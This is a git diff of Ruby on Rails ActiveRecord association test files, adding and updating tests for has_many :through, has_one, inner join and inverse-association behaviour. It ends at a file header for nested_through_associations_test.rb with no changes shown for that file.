@@ -505,9 +715,6 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
[:added, :before, "Roger"],
[:added, :after, "Roger"]
], log.last(4)
-
- post.people_with_callbacks.clear
- assert_equal((%w(Michael David Julian Roger) * 2).sort, log.last(8).collect(&:last).sort)
end
def test_dynamic_find_should_respect_association_include
@@ -571,8 +778,13 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert_equal post.author.author_favorites, post.author_favorites
end
+ def test_merge_join_association_with_has_many_through_association_proxy
+ author = authors(:mary)
+ assert_nothing_raised { author.comments.ratings.to_sql }
+ end
+
def test_has_many_association_through_a_has_many_association_with_nonstandard_primary_keys
- assert_equal 1, owners(:blackbeard).toys.count
+ assert_equal 2, owners(:blackbeard).toys.count
end
def test_find_on_has_many_association_collection_with_include_and_conditions
@@ -596,7 +808,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
sarah = Person.create!(:first_name => 'Sarah', :primary_contact_id => people(:susan).id, :gender => 'F', :number1_fan_id => 1)
john = Person.create!(:first_name => 'John', :primary_contact_id => sarah.id, :gender => 'M', :number1_fan_id => 1)
assert_equal sarah.agents, [john]
- assert_equal people(:susan).agents.map(&:agents).flatten, people(:susan).agents_of_agents
+ assert_equal people(:susan).agents.flat_map(&:agents), people(:susan).agents_of_agents
end
def test_associate_existing_with_nonstandard_primary_key_on_belongs_to
@@ -619,6 +831,13 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert author.named_categories(true).include?(category)
end
+ def test_collection_exists
+ author = authors(:mary)
+ category = Category.create!(author_ids: [author.id], name: "Primary")
+ assert category.authors.exists?(id: author.id)
+ assert category.reload.authors.exists?(id: author.id)
+ end
+
def test_collection_delete_with_nonstandard_primary_key_on_belongs_to
author = authors(:mary)
category = author.named_categories.create(:name => "Primary")
@@ -695,7 +914,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
def test_can_update_through_association
assert_nothing_raised do
- people(:michael).posts.first.update_attributes!(:title => "Can write")
+ people(:michael).posts.first.update!(title: "Can write")
end
end
@@ -871,10 +1090,16 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
assert_equal [tags(:general)], post.reload.tags
end
- test "has many through associations on new records use null relations" do
+ def test_has_many_through_obeys_order_on_through_association
+ owner = owners(:blackbeard)
+ assert owner.toys.to_sql.include?("pets.name desc")
+ assert_equal ["parrot", "bulbul"], owner.toys.map { |r| r.pet.name }
+ end
+
+ def test_has_many_through_associations_on_new_records_use_null_relations
person = Person.new
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
assert_equal [], person.posts
assert_equal [], person.posts.where(body: 'omg')
assert_equal [], person.posts.pluck(:body)
@@ -883,4 +1108,47 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_has_many_through_with_default_scope_on_the_target
+ person = people(:michael)
+ assert_equal [posts(:thinking)], person.first_posts
+
+ readers(:michael_authorless).update(first_post_id: 1)
+ assert_equal [posts(:thinking)], person.reload.first_posts
+ end
+
+ def test_has_many_through_with_includes_in_through_association_scope
+ assert_not_empty posts(:welcome).author_address_extra_with_address
+ end
+
+ def test_insert_records_via_has_many_through_association_with_scope
+ club = Club.create!
+ member = Member.create!
+ Membership.create!(club: club, member: member)
+
+ club.favourites << member
+ assert_equal [member], club.favourites
+
+ club.reload
+ assert_equal [member], club.favourites
+ end
+
+ def test_has_many_through_unscope_default_scope
+ post = Post.create!(:title => 'Beaches', :body => "I like beaches!")
+ Reader.create! :person => people(:david), :post => post
+ LazyReader.create! :person => people(:susan), :post => post
+
+ assert_equal 2, post.people.to_a.size
+ assert_equal 1, post.lazy_people.to_a.size
+
+ assert_equal 2, post.lazy_readers_unscope_skimmers.to_a.size
+ assert_equal 2, post.lazy_people_unscope_skimmers.to_a.size
+ end
+
+ def test_has_many_through_add_with_sti_middle_relation
+ club = SuperClub.create!(name: 'Fight Club')
+ member = Member.create!(name: 'Tyler Durden')
+
+ club.members << member
+ assert_equal 1, SuperMembership.where(member_id: member.id, club_id: club.id).count
+ end
end
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
index 4ed09a3bf7..1a6d25f7d0 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -1,5 +1,6 @@
require "cases/helper"
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/company'
require 'models/ship'
@@ -22,6 +23,13 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
end
+ def test_has_one_does_not_use_order_by
+ ActiveRecord::SQLCounter.clear_log
+ companies(:first_firm).account
+ ensure
+ assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, 'ORDER BY was used in the query'
+ end
+
def test_has_one_cache_nils
firm = companies(:another_firm)
assert_queries(1) { assert_nil firm.account }
@@ -158,22 +166,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_nothing_raised { firm.destroy }
end
- def test_restrict
- firm = RestrictedFirm.create!(:name => 'restrict')
- firm.create_account(:credit_limit => 10)
-
- assert_not_nil firm.account
-
- assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
- assert RestrictedFirm.exists?(:name => 'restrict')
- assert firm.account.present?
- end
-
- def test_restrict_is_deprecated
- klass = Class.new(ActiveRecord::Base)
- assert_deprecated { klass.has_one :post, dependent: :restrict }
- end
-
def test_restrict_with_exception
firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
firm.create_account(:credit_limit => 10)
@@ -209,7 +201,7 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
end
def test_build_association_dont_create_transaction
- assert_no_queries {
+ assert_no_queries(ignore_none: false) {
Firm.new.build_account
}
end
@@ -418,9 +410,11 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
pirate = pirates(:redbeard)
new_ship = Ship.new
- assert_raise(ActiveRecord::RecordNotSaved) do
+ error = assert_raise(ActiveRecord::RecordNotSaved) do
pirate.ship = new_ship
end
+
+ assert_equal "Failed to save the new associated ship.", error.message
assert_nil pirate.ship
assert_nil new_ship.pirate_id
end
@@ -430,20 +424,25 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
pirate.ship.name = nil
assert !pirate.ship.valid?
- assert_raise(ActiveRecord::RecordNotSaved) do
+ error = assert_raise(ActiveRecord::RecordNotSaved) do
pirate.ship = ships(:interceptor)
end
+
assert_equal ships(:black_pearl), pirate.ship
assert_equal pirate.id, pirate.ship.pirate_id
+ assert_equal "Failed to remove the existing associated ship. " +
+ "The record failed to save after its foreign key was set to nil.", error.message
end
def test_replacement_failure_due_to_new_record_should_raise_error
pirate = pirates(:blackbeard)
new_ship = Ship.new
- assert_raise(ActiveRecord::RecordNotSaved) do
+ error = assert_raise(ActiveRecord::RecordNotSaved) do
pirate.ship = new_ship
end
+
+ assert_equal "Failed to save the new associated ship.", error.message
assert_equal ships(:black_pearl), pirate.ship
assert_equal pirate.id, pirate.ship.pirate_id
assert_equal pirate.id, ships(:black_pearl).reload.pirate_id
@@ -521,5 +520,66 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
assert_no_queries { company.account = nil }
account = Account.find(2)
assert_queries { company.account = account }
+
+ assert_no_queries { Firm.new.account = account }
+ end
+
+ def test_has_one_assignment_dont_trigger_save_on_change_of_same_object
+ pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ ship = pirate.build_ship(name: 'old name')
+ ship.save!
+
+ ship.name = 'new name'
+ assert ship.changed?
+ assert_queries(1) do
+ # One query for updating name, not triggering query for updating pirate_id
+ pirate.ship = ship
+ end
+
+ assert_equal 'new name', pirate.ship.reload.name
+ end
+
+ def test_has_one_assignment_triggers_save_on_change_on_replacing_object
+ pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ ship = pirate.build_ship(name: 'old name')
+ ship.save!
+
+ new_ship = Ship.create(name: 'new name')
+ assert_queries(2) do
+ # One query for updating name and second query for updating pirate_id
+ pirate.ship = new_ship
+ end
+
+ assert_equal 'new name', pirate.ship.reload.name
+ end
+
+ def test_has_one_autosave_with_primary_key_manually_set
+ post = Post.create(id: 1234, title: "Some title", body: 'Some content')
+ author = Author.new(id: 33, name: 'Hank Moody')
+
+ author.post = post
+ author.save
+ author.reload
+
+ assert_not_nil author.post
+ assert_equal author.post, post
+ end
+
+ def test_has_one_relationship_cannot_have_a_counter_cache
+ assert_raise(ArgumentError) do
+ Class.new(ActiveRecord::Base) do
+ has_one :thing, counter_cache: true
+ end
+ end
+ end
+
+ test 'dangerous association name raises ArgumentError' do
+ [:errors, 'errors', :save, 'save'].each do |name|
+ assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+ Class.new(ActiveRecord::Base) do
+ has_one name
+ end
+ end
+ end
end
end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
index 90c557e886..f8772547a2 100644
--- a/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -15,6 +15,7 @@ require 'models/essay'
require 'models/owner'
require 'models/post'
require 'models/comment'
+require 'models/categorization'
class HasOneThroughAssociationsTest < ActiveRecord::TestCase
fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations, :minivans,
@@ -45,6 +46,20 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
assert_equal clubs(:moustache_club), new_member.club
end
+ def test_creating_association_sets_both_parent_ids_for_new
+ member = Member.new(name: 'Sean Griffin')
+ club = Club.new(name: 'Da Club')
+
+ member.club = club
+
+ member.save!
+
+ assert member.id
+ assert club.id
+ assert_equal member.id, member.current_membership.member_id
+ assert_equal club.id, member.current_membership.club_id
+ end
+
def test_replace_target_record
new_club = Club.create(:name => "Marx Bros")
@member.club = new_club
@@ -191,6 +206,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
end
def test_preloading_has_one_through_on_belongs_to
+ MemberDetail.delete_all
assert_not_nil @member.member_type
@organization = organizations(:nsa)
@member_detail = MemberDetail.new
@@ -201,7 +217,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
end
@new_detail = @member_details[0]
assert @new_detail.send(:association, :member_type).loaded?
- assert_not_nil assert_no_queries { @new_detail.member_type }
+ assert_no_queries { @new_detail.member_type }
end
def test_save_of_record_with_loaded_has_one_through
@@ -274,6 +290,12 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_has_one_through_polymorphic_association
+ assert_raise(ActiveRecord::HasOneAssociationPolymorphicThroughError) do
+ @member.premium_club
+ end
+ end
+
def test_has_one_through_belongs_to_should_update_when_the_through_foreign_key_changes
minivan = minivans(:cool_first)
@@ -314,4 +336,12 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
def test_has_one_through_with_custom_select_on_join_model_default_scope
assert_equal clubs(:boring_club), members(:groucho).selected_club
end
+
+ def test_has_one_through_relationship_cannot_have_a_counter_cache
+ assert_raise(ArgumentError) do
+ Class.new(ActiveRecord::Base) do
+ has_one :thing, through: :other_thing, counter_cache: true
+ end
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
index 4f246f575e..b3fe759ad9 100644
--- a/activerecord/test/cases/associations/inner_join_association_test.rb
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -41,15 +41,20 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
assert_no_match(/WHERE/i, sql)
end
+ def test_join_association_conditions_support_string_and_arel_expressions
+ assert_equal 0, Author.joins(:welcome_posts_with_one_comment).count
+ assert_equal 1, Author.joins(:welcome_posts_with_comments).count
+ end
+
def test_join_conditions_allow_nil_associations
authors = Author.includes(:essays).where(:essays => {:id => nil})
assert_equal 2, authors.count
end
- def test_find_with_implicit_inner_joins_honors_readonly_without_select
- authors = Author.joins(:posts).to_a
- assert !authors.empty?, "expected authors to be non-empty"
- assert authors.all? {|a| a.readonly? }, "expected all authors to be readonly"
+ def test_find_with_implicit_inner_joins_without_select_does_not_imply_readonly
+ authors = Author.joins(:posts)
+ assert_not authors.empty?, "expected authors to be non-empty"
+ assert authors.none?(&:readonly?), "expected no authors to be readonly"
end
def test_find_with_implicit_inner_joins_honors_readonly_with_select
@@ -65,7 +70,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
end
def test_find_with_implicit_inner_joins_does_not_set_associations
- authors = Author.joins(:posts).select('authors.*')
+ authors = Author.joins(:posts).select('authors.*').to_a
assert !authors.empty?, "expected authors to be non-empty"
assert authors.all? { |a| !a.instance_variable_defined?(:@posts) }, "expected no authors to have the @posts association loaded"
end
@@ -82,7 +87,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
def test_calculate_honors_implicit_inner_joins_and_distinct_and_conditions
real_count = Author.all.to_a.select {|a| a.posts.any? {|p| p.title =~ /^Welcome/} }.length
- authors_with_welcoming_post_titles = Author.all.merge!(:joins => :posts, :where => "posts.title like 'Welcome%'").calculate(:count, 'authors.id', :distinct => true)
+ authors_with_welcoming_post_titles = Author.all.merge!(joins: :posts, where: "posts.title like 'Welcome%'").distinct.calculate(:count, 'authors.id')
assert_equal real_count, authors_with_welcoming_post_titles, "inner join and conditions should have only returned authors posting titles starting with 'Welcome'"
end
@@ -97,11 +102,38 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
def test_find_with_conditions_on_reflection
assert !posts(:welcome).comments.empty?
- assert Post.joins(:nonexistant_comments).where(:id => posts(:welcome).id).empty? # [sic!]
+ assert Post.joins(:nonexistent_comments).where(:id => posts(:welcome).id).empty? # [sic!]
end
def test_find_with_conditions_on_through_reflection
assert !posts(:welcome).tags.empty?
assert Post.joins(:misc_tags).where(:id => posts(:welcome).id).empty?
end
+
+ test "the default scope of the target is applied when joining associations" do
+ author = Author.create! name: "Jon"
+ author.categorizations.create!
+ author.categorizations.create! special: true
+
+ assert_equal [author], Author.where(id: author).joins(:special_categorizations)
+ end
+
+ test "the default scope of the target is correctly aliased when joining associations" do
+ author = Author.create! name: "Jon"
+ author.categories.create! name: 'Not Special'
+ author.special_categories.create! name: 'Special'
+
+ categories = author.categories.includes(:special_categorizations).references(:special_categorizations).to_a
+ assert_equal 2, categories.size
+ end
+
+ test "the correct records are loaded when including an aliased association" do
+ author = Author.create! name: "Jon"
+ author.categories.create! name: 'Not Special'
+ author.special_categories.create! name: 'Special'
+
+ categories = author.categories.eager_load(:special_categorizations).order(:name).to_a
+ assert_equal 0, categories.first.special_categorizations.size
+ assert_equal 1, categories.second.special_categorizations.size
+ end
end
diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb
index 8c9b4fb921..60df4e14dd 100644
--- a/activerecord/test/cases/associations/inverse_associations_test.rb
+++ b/activerecord/test/cases/associations/inverse_associations_test.rb
@@ -5,6 +5,113 @@ require 'models/interest'
require 'models/zine'
require 'models/club'
require 'models/sponsor'
+require 'models/rating'
+require 'models/comment'
+require 'models/car'
+require 'models/bulb'
+require 'models/mixed_case_monkey'
+
+class AutomaticInverseFindingTests < ActiveRecord::TestCase
+ fixtures :ratings, :comments, :cars
+
+ def test_has_one_and_belongs_to_should_find_inverse_automatically_on_multiple_word_name
+ monkey_reflection = MixedCaseMonkey.reflect_on_association(:man)
+ man_reflection = Man.reflect_on_association(:mixed_case_monkey)
+
+ assert_respond_to monkey_reflection, :has_inverse?
+ assert monkey_reflection.has_inverse?, "The monkey reflection should have an inverse"
+ assert_equal man_reflection, monkey_reflection.inverse_of, "The monkey reflection's inverse should be the man reflection"
+
+ assert_respond_to man_reflection, :has_inverse?
+ assert man_reflection.has_inverse?, "The man reflection should have an inverse"
+ assert_equal monkey_reflection, man_reflection.inverse_of, "The man reflection's inverse should be the monkey reflection"
+ end
+
+ def test_has_one_and_belongs_to_should_find_inverse_automatically
+ car_reflection = Car.reflect_on_association(:bulb)
+ bulb_reflection = Bulb.reflect_on_association(:car)
+
+ assert_respond_to car_reflection, :has_inverse?
+ assert car_reflection.has_inverse?, "The Car reflection should have an inverse"
+ assert_equal bulb_reflection, car_reflection.inverse_of, "The Car reflection's inverse should be the Bulb reflection"
+
+ assert_respond_to bulb_reflection, :has_inverse?
+ assert bulb_reflection.has_inverse?, "The Bulb reflection should have an inverse"
+ assert_equal car_reflection, bulb_reflection.inverse_of, "The Bulb reflection's inverse should be the Car reflection"
+ end
+
+ def test_has_many_and_belongs_to_should_find_inverse_automatically
+ comment_reflection = Comment.reflect_on_association(:ratings)
+ rating_reflection = Rating.reflect_on_association(:comment)
+
+ assert_respond_to comment_reflection, :has_inverse?
+ assert comment_reflection.has_inverse?, "The Comment reflection should have an inverse"
+ assert_equal rating_reflection, comment_reflection.inverse_of, "The Comment reflection's inverse should be the Rating reflection"
+ end
+
+ def test_has_one_and_belongs_to_automatic_inverse_shares_objects
+ car = Car.first
+ bulb = Bulb.create!(car: car)
+
+ assert_equal car.bulb, bulb, "The Car's bulb should be the original bulb"
+
+ car.bulb.color = "Blue"
+ assert_equal car.bulb.color, bulb.color, "Changing the bulb's color on the car association should change the bulb's color"
+
+ bulb.color = "Red"
+ assert_equal bulb.color, car.bulb.color, "Changing the bulb's color should change the bulb's color on the car association"
+ end
+
+ def test_has_many_and_belongs_to_automatic_inverse_shares_objects_on_rating
+ comment = Comment.first
+ rating = Rating.create!(comment: comment)
+
+ assert_equal rating.comment, comment, "The Rating's comment should be the original Comment"
+
+ rating.comment.body = "Brogramming is the act of programming, like a bro."
+ assert_equal rating.comment.body, comment.body, "Changing the Comment's body on the association should change the original Comment's body"
+
+ comment.body = "Broseiden is the king of the sea of bros."
+ assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association"
+ end
+
+ def test_has_many_and_belongs_to_automatic_inverse_shares_objects_on_comment
+ rating = Rating.create!
+ comment = Comment.first
+ rating.comment = comment
+
+ assert_equal rating.comment, comment, "The Rating's comment should be the original Comment"
+
+ rating.comment.body = "Brogramming is the act of programming, like a bro."
+ assert_equal rating.comment.body, comment.body, "Changing the Comment's body on the association should change the original Comment's body"
+
+ comment.body = "Broseiden is the king of the sea of bros."
+ assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association"
+ end
+
+ def test_polymorphic_and_has_many_through_relationships_should_not_have_inverses
+ sponsor_reflection = Sponsor.reflect_on_association(:sponsorable)
+
+ assert_respond_to sponsor_reflection, :has_inverse?
+ assert !sponsor_reflection.has_inverse?, "A polymorphic association should not find an inverse automatically"
+
+ club_reflection = Club.reflect_on_association(:members)
+
+ assert_respond_to club_reflection, :has_inverse?
+ assert !club_reflection.has_inverse?, "A has_many_through association should not find an inverse automatically"
+ end
+
+ def test_polymorphic_relationships_should_still_not_have_inverses_when_non_polymorphic_relationship_has_the_same_name
+ man_reflection = Man.reflect_on_association(:polymorphic_face_without_inverse)
+ face_reflection = Face.reflect_on_association(:man)
+
+ assert_respond_to face_reflection, :has_inverse?
+ assert face_reflection.has_inverse?, "For this test, the non-polymorphic association must have an inverse"
+
+ assert_respond_to man_reflection, :has_inverse?
+ assert !man_reflection.has_inverse?, "The target of a polymorphic association should not find an inverse automatically"
+ end
+end
class InverseAssociationTests < ActiveRecord::TestCase
def test_should_allow_for_inverse_of_options_in_associations
@@ -235,6 +342,22 @@ class InverseHasManyTests < ActiveRecord::TestCase
assert_equal m.name, i.man.name, "Name of man should be the same after changes to newly-created-child-owned instance"
end
+ def test_parent_instance_should_be_shared_within_create_block_of_new_child
+ man = Man.first
+ interest = man.interests.create do |i|
+ assert i.man.equal?(man), "Man of child should be the same instance as a parent"
+ end
+ assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
+ end
+
+ def test_parent_instance_should_be_shared_within_build_block_of_new_child
+ man = Man.first
+ interest = man.interests.build do |i|
+ assert i.man.equal?(man), "Man of child should be the same instance as a parent"
+ end
+ assert interest.man.equal?(man), "Man of the child should still be the same instance as a parent"
+ end
+
def test_parent_instance_should_be_shared_with_poked_in_child
m = men(:gordon)
i = Interest.create(:topic => 'Industrial Revolution Re-enactment')
@@ -278,9 +401,75 @@ class InverseHasManyTests < ActiveRecord::TestCase
assert interests[1].man.equal? man
end
+ def test_parent_instance_should_find_child_instance_using_child_instance_id
+ man = Man.create!
+ interest = Interest.create!
+ man.interests = [interest]
+
+ assert interest.equal?(man.interests.first), "The inverse association should use the interest already created and held in memory"
+ assert interest.equal?(man.interests.find(interest.id)), "The inverse association should use the interest already created and held in memory"
+ assert man.equal?(man.interests.first.man), "Two inversion should lead back to the same object that was originally held"
+ assert man.equal?(man.interests.find(interest.id).man), "Two inversions should lead back to the same object that was originally held"
+ end
+
+ def test_parent_instance_should_find_child_instance_using_child_instance_id_when_created
+ man = Man.create!
+ interest = Interest.create!(man: man)
+
+ assert man.equal?(man.interests.first.man), "Two inverses should lead back to the same object that was originally held"
+ assert man.equal?(man.interests.find(interest.id).man), "Two inversions should lead back to the same object that was originally held"
+
+ assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match before the name is changed"
+ man.name = "Ben Bitdiddle"
+ assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match after the parent name is changed"
+ man.interests.find(interest.id).man.name = "Alyssa P. Hacker"
+ assert_equal man.name, man.interests.find(interest.id).man.name, "The name of the man should match after the child name is changed"
+ end
+
+ def test_find_on_child_instance_with_id_should_not_load_all_child_records
+ man = Man.create!
+ interest = Interest.create!(man: man)
+
+ man.interests.find(interest.id)
+ assert_not man.interests.loaded?
+ end
+
+ def test_raise_record_not_found_error_when_invalid_ids_are_passed
+ # delete all interest records to ensure that hard coded invalid_id(s)
+ # are indeed invalid.
+ Interest.delete_all
+
+ man = Man.create!
+
+ invalid_id = 245324523
+ assert_raise(ActiveRecord::RecordNotFound) { man.interests.find(invalid_id) }
+
+ invalid_ids = [8432342, 2390102913, 2453245234523452]
+ assert_raise(ActiveRecord::RecordNotFound) { man.interests.find(invalid_ids) }
+ end
+
+ def test_raise_record_not_found_error_when_no_ids_are_passed
+ man = Man.create!
+
+ assert_raise(ActiveRecord::RecordNotFound) { man.interests.find() }
+ end
+
def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.secret_interests }
end
+
+ def test_child_instance_should_point_to_parent_without_saving
+ man = Man.new
+ i = Interest.create(:topic => 'Industrial Revolution Re-enactment')
+
+ man.interests << i
+ assert_not_nil i.man
+
+ i.man.name = "Charles"
+ assert_equal i.man.name, man.name
+
+ assert !man.persisted?
+ end
end
class InverseBelongsToTests < ActiveRecord::TestCase
@@ -425,6 +614,18 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
end
+ def test_inversed_instance_should_not_be_reloaded_after_stale_state_changed
+ new_man = Man.new
+ face = Face.new
+ new_man.face = face
+
+ old_inversed_man = face.man
+ new_man.save!
+ new_inversed_man = face.man
+
+ assert_equal old_inversed_man.object_id, new_inversed_man.object_id
+ end
+
def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
i = interests(:llama_wrangling)
m = i.polymorphic_man
diff --git a/activerecord/test/cases/associations/join_dependency_test.rb b/activerecord/test/cases/associations/join_dependency_test.rb
deleted file mode 100644
index 08c166dc33..0000000000
--- a/activerecord/test/cases/associations/join_dependency_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-require 'models/edge'
-
-class JoinDependencyTest < ActiveRecord::TestCase
- def test_column_names_with_alias_handles_nil_primary_key
- assert_equal Edge.column_names, ActiveRecord::Associations::JoinDependency::JoinBase.new(Edge).column_names_with_alias.map(&:first)
- end
-end \ No newline at end of file
diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb
index 9b00c21b52..9918601623 100644
--- a/activerecord/test/cases/associations/join_model_test.rb
+++ b/activerecord/test/cases/associations/join_model_test.rb
@@ -326,11 +326,11 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
end
def test_belongs_to_polymorphic_with_counter_cache
- assert_equal 1, posts(:welcome)[:taggings_count]
+ assert_equal 1, posts(:welcome)[:tags_count]
tagging = posts(:welcome).taggings.create(:tag => tags(:general))
- assert_equal 2, posts(:welcome, :reload)[:taggings_count]
+ assert_equal 2, posts(:welcome, :reload)[:tags_count]
tagging.destroy
- assert_equal 1, posts(:welcome, :reload)[:taggings_count]
+ assert_equal 1, posts(:welcome, :reload)[:tags_count]
end
def test_unavailable_through_reflection
@@ -393,18 +393,18 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
end
def test_has_many_through_polymorphic_has_one
- assert_equal Tagging.find(1,2).sort_by { |t| t.id }, authors(:david).taggings_2
+ assert_equal Tagging.find(1,2).sort_by(&:id), authors(:david).taggings_2
end
def test_has_many_through_polymorphic_has_many
- assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.uniq.sort_by { |t| t.id }
+ assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.distinct.sort_by(&:id)
end
def test_include_has_many_through_polymorphic_has_many
author = Author.includes(:taggings).find authors(:david).id
expected_taggings = taggings(:welcome_general, :thinking_general)
assert_no_queries do
- assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
+ assert_equal expected_taggings, author.taggings.distinct.sort_by(&:id)
end
end
@@ -443,8 +443,8 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
def test_has_many_through_uses_conditions_specified_on_the_has_many_association
author = Author.first
- assert_present author.comments
- assert_blank author.nonexistant_comments
+ assert author.comments.present?
+ assert author.nonexistent_comments.blank?
end
def test_has_many_through_uses_correct_attributes
@@ -464,7 +464,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
assert saved_post.reload.tags(true).include?(new_tag)
- new_post = Post.new(:title => "Association replacmenet works!", :body => "You best believe it.")
+ new_post = Post.new(:title => "Association replacement works!", :body => "You best believe it.")
saved_tag = tags(:general)
new_post.tags << saved_tag
@@ -489,7 +489,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
message = "Expected a Tag in tags collection, got #{wrong.class}.")
assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
- assert_equal(count + 1, post_thinking.tags.size)
+ assert_equal(count + 1, post_thinking.reload.tags.size)
assert_equal(count + 1, post_thinking.tags(true).size)
assert_kind_of Tag, post_thinking.tags.create!(:name => 'foo')
@@ -497,7 +497,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
message = "Expected a Tag in tags collection, got #{wrong.class}.")
assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
- assert_equal(count + 2, post_thinking.tags.size)
+ assert_equal(count + 2, post_thinking.reload.tags.size)
assert_equal(count + 2, post_thinking.tags(true).size)
assert_nothing_raised { post_thinking.tags.concat(Tag.create!(:name => 'abc'), Tag.create!(:name => 'def')) }
@@ -505,7 +505,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
message = "Expected a Tag in tags collection, got #{wrong.class}.")
assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
- assert_equal(count + 4, post_thinking.tags.size)
+ assert_equal(count + 4, post_thinking.reload.tags.size)
assert_equal(count + 4, post_thinking.tags(true).size)
# Raises if the wrong reflection name is used to set the Edge belongs_to
@@ -554,34 +554,35 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
def test_delete_associate_when_deleting_from_has_many_through
count = posts(:thinking).tags.count
- tags_before = posts(:thinking).tags
+ tags_before = posts(:thinking).tags.sort
tag = Tag.create!(:name => 'doomed')
post_thinking = posts(:thinking)
post_thinking.tags << tag
assert_equal(count + 1, post_thinking.taggings(true).size)
- assert_equal(count + 1, post_thinking.tags(true).size)
+ assert_equal(count + 1, post_thinking.reload.tags(true).size)
+ assert_not_equal(tags_before, post_thinking.tags.sort)
assert_nothing_raised { post_thinking.tags.delete(tag) }
assert_equal(count, post_thinking.tags.size)
assert_equal(count, post_thinking.tags(true).size)
assert_equal(count, post_thinking.taggings(true).size)
- assert_equal(tags_before.sort, post_thinking.tags.sort)
+ assert_equal(tags_before, post_thinking.tags.sort)
end
def test_delete_associate_when_deleting_from_has_many_through_with_multiple_tags
count = posts(:thinking).tags.count
- tags_before = posts(:thinking).tags
+ tags_before = posts(:thinking).tags.sort
doomed = Tag.create!(:name => 'doomed')
doomed2 = Tag.create!(:name => 'doomed2')
quaked = Tag.create!(:name => 'quaked')
post_thinking = posts(:thinking)
post_thinking.tags << doomed << doomed2
- assert_equal(count + 2, post_thinking.tags(true).size)
+ assert_equal(count + 2, post_thinking.reload.tags(true).size)
assert_nothing_raised { post_thinking.tags.delete(doomed, doomed2, quaked) }
assert_equal(count, post_thinking.tags.size)
assert_equal(count, post_thinking.tags(true).size)
- assert_equal(tags_before.sort, post_thinking.tags.sort)
+ assert_equal(tags_before, post_thinking.tags.sort)
end
def test_deleting_junk_from_has_many_through_should_raise_type_mismatch
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
index 03d99d19f6..31b68c940e 100644
--- a/activerecord/test/cases/associations/nested_through_associations_test.rb
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
